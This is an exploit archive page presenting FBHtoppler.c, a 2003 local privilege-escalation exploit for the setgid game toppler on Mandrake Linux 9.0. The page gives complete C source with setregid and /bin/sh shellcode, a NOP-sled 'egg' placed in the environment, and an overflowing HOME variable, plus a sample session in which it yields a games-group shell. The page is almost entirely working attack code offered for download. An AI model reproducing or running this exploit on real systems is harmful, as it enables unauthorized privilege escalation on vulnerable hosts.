exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

FBHtoppler.c

FBHtoppler.c
Posted Jul 7, 2003
Authored by Bobby

Local exploit for the setgid game toppler. There is a stack overflow vulnerability with how toppler makes use of the HOME environment variable. Successful exploitation escalates user privileges to the group for games.

tags | exploit, overflow, local
SHA-256 | b929d57b7291105dabeaf26fc57dd8cfe25c295a669f60710c9a3723bbf60bf8

FBHtoppler.c

Change Mirror Download



/*
LOCAL TOPPLER EXPLOIT

A Buffer overflow in HOME enviroment variable.
Just your standard stack overflow...

[bobby@blah Code]$export HOME=`perl -e 'print"A"x144'`

[bobby@blah Code]$ /usr/bin/toppler
Nebulous version 0.96
Segmentation fault


Should give a GID=20 on successful exploitation.


[bobby@blah Code]$ id
uid=501(bobby) gid=501(bobby) groups=501(bobby)


[bobby@blah Code]$ ./FBHtoppler
Using address: 0xbffff81c
sh-2.05b$id
uid=501(bobby) gid=20(games) groups=501(bobby)


Kinda weird but could be useful in some situations...:P


SYSTEM TESTED ON:
Mandrake Linux release 9.0 (dolphin) for i586





Greetz: USG , DarkCode , DkD , Johan , s4t4nic_s0uls , Dj king , hein
, hyperd0t ,
RunningMan(thanx for the java), kafka ,Cc0d3r ,wazzabi(thx for the rza
album)

also , greetz to the dtor team.

Not forgetting all of the FBH crew too.. heh .pk rules!!!


FBHowns@hushmail.com , comments + criticisms welcome :P
*/




#include <stdlib.h>
#include <stdio.h>

#define DEFAULT_OFFSET 0
#define BUFFER_SIZE 250 // buffer is 144 , made larger
by 100+ for easy exploiting
#define EGG_SIZE 2048
#define NOP 0x90
#define ALIGN 1
#define BINARY "/usr/bin/toppler" //path to binary
char shellcode[] =



/*setregid(20,20) shellcode by me */


"\x31\xc0" /* xor %eax, %eax */
"\x31\xdb" /* xor %ebx, %ebx */
"\x31\xc9" /* xor %ecx, %ecx */
"\xb3\x14" /* mov $0x14, %bl */
"\xb1\x14" /* mov $0x14, %cl */
"\xb0\x47" /* mov $0x47, %al */
"\xcd\x80" /* int $0x80 */



/* Shellcode by Aleph One */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";



unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {


char *buffer, *ptr, *egg;

long *address_p, addr;

int offset= DEFAULT_OFFSET, bsize= BUFFER_SIZE;

int i, egg_size= EGG_SIZE;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) egg_size = atoi(argv[3]);


if (!(buffer = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

if (!(egg = malloc(egg_size))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);

ptr = buffer;
address_p = (long *) (ptr+ALIGN);
for (i = 0; i < bsize; i+=4)
*(address_p++) = addr;

ptr = egg;
for (i = 0; i < egg_size - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buffer[bsize - 1] = '\0'; // '\0' or else there wil be trouble
egg[egg_size - 1] = '\0';

memcpy(egg,"EGG=",4);
putenv(egg); // put our made egg in the env
memcpy(buffer,"HOME=",5);
putenv(buffer); // put our prepared buffer in env
execlp(BINARY,BINARY,0); // execute it
}



------------------------------FBHtoppler.c---------------------------
--
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close